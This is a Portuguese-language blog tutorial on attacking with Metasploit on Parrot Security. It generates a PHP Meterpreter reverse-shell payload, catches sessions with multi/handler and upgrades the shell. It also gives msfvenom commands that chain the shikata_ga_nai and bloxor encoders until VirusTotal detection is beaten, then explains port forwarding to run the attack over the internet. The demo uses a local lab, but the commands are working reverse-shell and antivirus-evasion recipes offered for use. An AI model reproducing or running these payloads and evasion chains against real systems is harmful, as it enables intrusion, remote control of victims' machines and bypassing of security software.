Payloads e Encoders: Exploits para Serviços de Rede com o Parrot Security

Dando sequência aos dois últimos posts, e continuando com o Parrot Sec, chegou a hora de abordar o uso dos Payloads e Encoders.

Eu já mostrei como usar o Meterpreter de forma básica no post COMO HACKEAR O ANDROID USANDO METASPLOITS; agora vou mais fundo….

Exploit para serviços de rede

Primeiro de tudo, vou iniciar e testar um servidor web (Apache), na minha própria máquina Parrot Sec, para testar localmente os Payloads.

Criei um arquivo meu.php, com o código a seguir, apenas para testar:

<html>
<head>
<title>PHP Teste</title>
</head>
<body>
<?php echo "<p>Apache Funcionando!...Hello World!!! Esta é uma página de teste J</p>"; ?>
</body>
</html>

Copiei meu.php para /var/www/html

cp meu.php /var/www/html

e iniciei o apache:

fig-3

Abri o navegador e digitei http://localhost/meu.php.

fig apache_funcionando

O Metasploit tem muitas façanhas. Alguns exploits podem ser encontrados em vários repositórios (em Exploit-DB, por exemplo), mas recomendo usar apenas exploits da Metasploit, pelo menos no início, até sentir-se suficientemente confortável para determinar se um exploit em particular é confiável ou não. Podemos ver toda a lista de Exploits no Parrot Sec digitando

ls -l /usr/share/metasploit-framework/modules/exploits/*

fig-1.png

Eu sempre escolho os exploits que me permitem ou me ajudem a ganhar um shell.

É inútil executar um determinado exploit contra um alvo que não tenha a vulnerabilidade que se pretende explorar inicialmente. Embora todas as façanhas tenham sido testadas, nem todas elas são 100 por cento confiáveis, então, considere isso sempre que executá-lo de forma real.

Um Metasploit é fornecido com diferentes tipos de payloads: Inline, Stagers e Staged. Como regra geral, os payloads Inline são as mais estáveis porque incluem tudo para fazer o trabalho. Stagers e Staged estão intimamente relacionados: o primeiro estabelece um canal de comunicação confiável para baixar o segundo. Pense nisso por enquanto: ao lidar com exploits e payloads, na maioria das vezes estamos limitados pelo tamanho deles, por isso nem sempre será possível simplesmente entregar um payload Inline e obter um shell!

Um dos melhores Staged payloads no Metasploit é o Meterpreter. O Meterpreter pode ser gerado para diferentes sistemas e arquiteturas, incluindo, claro, JavaScript, PHP e Python. Dentro do Parrot VM, abrí um terminal e usei o comando msfvenom do Metasploit para enumerar todos os sabores do Meterpreter

msfvenom -l payloads|grep meterpreter

fig-2.png

A ideia é escolher com sabedoria; Por exemplo, ao explorar servidores web, pode-se precisar usar um payload do PHP Meterpreter.

msvenom_warm-php

Copiei warm.php para o meu servidor web, em /var/www/html. Na verdade este arquivo é um Payload.

cp warm.php /var/www/html

A próxima coisa que devo fazer é ganhar um shell, cheio de funcionalidades. PHP Meterpreter para me socorrer!

Este payload não foi disfarçado (para não ser detectado), mas, quase sempre será essencial fazê-lo para evitar a detecção; para isso, iniciei o msfconsole e selecionei o módulo multi/handler para cuidar de todas as possíveis conexões reversas em relação ao meu computador. multi/handler permite-nos lidar com múltiplas conexões, interagir com elas, colocá-las em segundo plano para serem retomadas mais tarde, e assim por diante. Combinar multi/handler com o Meterpreter é a cereja do bolo! Agora, configurei o multi/handler para usar o Meterpreter (usando as opções LHOST e LPORT para configurar o IP e a porta que estarei ouvindo para as conexões recebidas)

Finalmente, executei o exploit em segundo plano:

exploit -j

fig_multi_handler.png

Abri o navegador e digitei até http://localhost/warm.php

Gostei de conferir que uma conexão foi estabelecida com o servidor web! Fui logo interagir com esta sessão. Executei:

sessions -i 1

O que mais se pode fazer com o Meterpreter? Bem, muitas coisas: executei um help dentro da sessão e fiquei impressionado! E isso é apenas um payload do PHP. Para começar com algo simples, digitei shell. Agora posso digitar comandos e obter sua saídas; mas esse shell é uma merda! Resolvi fazer melhor executando:

python3 -c 'import pty; pty.spawn("/bin/bash")' -c
session -k 1

fig shell_python_c_help.png

Explorar todas as possibilidades do Meterpreter é uma grande experiência; Pode-se fazer load/unload de plug-ins adicionais, fazer upload de arquivos, até mesmo controlar webcams e tirar screenshots em alvos Ruindows!

Ocultando payloads

Durante os testes de penetração, como no exemplo anterior, estamos carregando os payloads para os sistemas comprometidos. Na maioria das vezes, esses sistemas estão executando antivírus ou software de segurança de algum tipo, de forma que o payload pode ser detectado e neutralizado. A solução é ocultar o payload. O msfvenom permite fazer isso, mas a mal notícia é que o Metasploit é tão popular, que os desenvolvedores de antivírus incluíram algumas assinaturas em seus mecanismos para detectar payloads gerados por msfvenom. Dito isto, gerei um payload reverso do Meterpreter do TCP para Linux X86:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 –f elf -o warm

Fiz o upload para http://www.virustotal.com. Resultado: 22 dos 57 motores o detectaram como maliciosos! Então usei um encoder para embaralhar o payload:

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf -o warm1

Fiz o upload do novo payload para o VirusTotal. Foi melhor, mas não o suficiente. Então combinei diferentes encoders para melhorar a ocultação:

msfvenom -p linux/x86/Meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfvenom -e x86/shikata_ga_nai -a x86 --platform Linux -t raw |msfvenom -e x86/bloxor -a x86 --platform Linux -t elf -o warm2

virustotal_warm2

Enviei para VirusTotal: missão cumprida!

Para obter uma lista de encoders disponíveis execute:

msfvenom -l encoders

encoders_list

É só felicidade! o Metasploit é porreta! E a quantidade de módulos cresce exponencialmente. Fique atento aos últimos módulos navegando regularmente no site da Rapid7 – e vamos que vamos!

Nota

Isto que venho mostrando nos últimos posts, utilizando o Parrot Sec, foi realizado em uma vítima na mesma rede (LAN) que minha máquina, meu laboratório. Para configurar um ataque pela internet (WAN) é preciso que a conexão passe pelo roteador do invasor.
Para isso, é preciso fornecer meu endereço IP público (algo como, é 179.178.227.43), que enviará a sessão ao nosso roteador e, a partir daí, encaminhar para a máquina na LAN (algo como, 192.168.25.11). É aí que entra o “port forwarding” (encaminhamento de porta); Resumindo: configurar LHOST com endereço público, LPORT, e configurar encaminhamento de porta (port forwarding) no roteador com a mesma porta do LPORT>LAN_IP.

Anúncios

1 comentário

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

Conectando a %s